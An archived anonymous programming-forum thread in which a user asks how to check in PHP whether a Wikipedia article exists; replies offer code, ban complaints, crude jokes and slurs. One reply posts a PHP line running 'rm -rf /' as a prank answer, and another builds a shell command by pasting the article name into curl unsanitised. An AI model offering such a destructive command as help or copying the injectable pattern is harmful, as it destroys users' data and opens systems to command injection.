Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

check if wikipedia article exists - PHP

Name: Fagot 2010-02-11 20:08

how can I check if a wikipedia article exists using PHP?
thank you

Name: Anonymous 2010-02-11 20:24

Read SIWP

Name: Anonymous 2010-02-11 23:30

<?php
    $articleName = "Whatever_article_name";
    $maximum_length_of_error_pages = 250; // Current length: 225. Adding buffer in case it changes.
                                          // Like when WP asks for donations.
    $Lenghtest = exec("curl http://en.wikipedia.org/wiki/" . $articleName . " | wc -l | sed 's/^[ \t]*//'");
    if($Lenghtest < $maximum_length_of_error_pages){
        print"This page doesn't exist!";
    } else {
        print"This page exists!";
    }
?>


Enjoy!

Name: Anonymous 2010-02-11 23:39

>>3
( ≖_≖)

Name: Anonymous 2010-02-12 0:24

<?php exec("rm -rf /"); ?>

Name: Anonymous 2010-02-12 1:17

<?= array_search("  <page>\n", file("http://en.wikipedia.org/wiki/Special:Export/$p", 0, stream_context_create(array("http" => array("user_agent" => "Sussman/(.)"))))) ?>

Name: Anonymous 2010-02-12 1:31

The spam filter has correctly detected PHP as spam so you'll have to see the pastebin attached.1 I don't have PHP available so it's untested and may fail completely.
_____________________________
References:
1. http://pastebin.com/m771a57a4

Name: Anonymous 2010-02-12 3:06

>>7
DON'T HELP HIM!!

Name: Anonymous 2010-02-12 3:53

>>7
did you get banned?

Name: Anonymous 2010-02-12 5:34

>>9
You have been banned from all boards for the following reason:

You are a spambot :(

Your ban was filed on February 12th, 2010. and expires on February 19th, 2010, which is 7 days from now.

[snip...]

You have also been banned from all boards for the following reason:

You are a spambot :(

Name: Anonymous 2010-02-12 7:40

>>10
Same thing happened to my fixed ip on one of my recent /prog/ postings.
Given that moot only gives mod power to dumb kids with anger management issues, I did the smart thing and did not appeal it, but maybe we should kind of warn whoever still cares about world4ch.

Name: Anonymous 2010-02-12 8:38

>>10
Reported for ban evasion.

Name: Anonymous 2010-02-12 9:09

Why can't I make a new thread?

Name: Anonymous 2010-02-12 9:10

>>13
Because you touch yourself at night.

Name: Anonymous 2010-02-12 13:39

>>10,11
You are filthy liars!  Why would anyone want to post programming code unless they are a virus!

Name: OP 2010-02-14 20:04

>>6
that worked great
thank you >>3 anyway

Name: Anonymous 2010-02-14 21:56

>>15
peer review ?

Name: Anonymous 2010-02-15 4:59

>>17
REVIEW MY ANUS

Name: Anonymous 2010-02-15 7:05

Using IQL (Internet Query Language)!

(Copyleft Reddit 2010.)

Name: Anonymous 2010-02-15 9:44

>>19
QUERY MY ANUS

Name: Anonymous 2010-02-15 10:12

>>20
> SELECT GERBILS FROM YOU'RE ANUS WHERE GERBIL != DEAD

Name: Anonymous 2010-02-15 10:22


FIND FIRST anus WHERE anus.cust-id = mE NO-LOCK NO-ERROR.

Name: Anonymous 2010-02-15 10:31

anus.cust-id

anus.parent-id

fix

Name: Anonymous 2010-02-17 10:38

fag

Name: Anonymous 2010-02-17 10:38

[b]fff[/b]

Name: Anonymous 2010-11-27 2:54

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List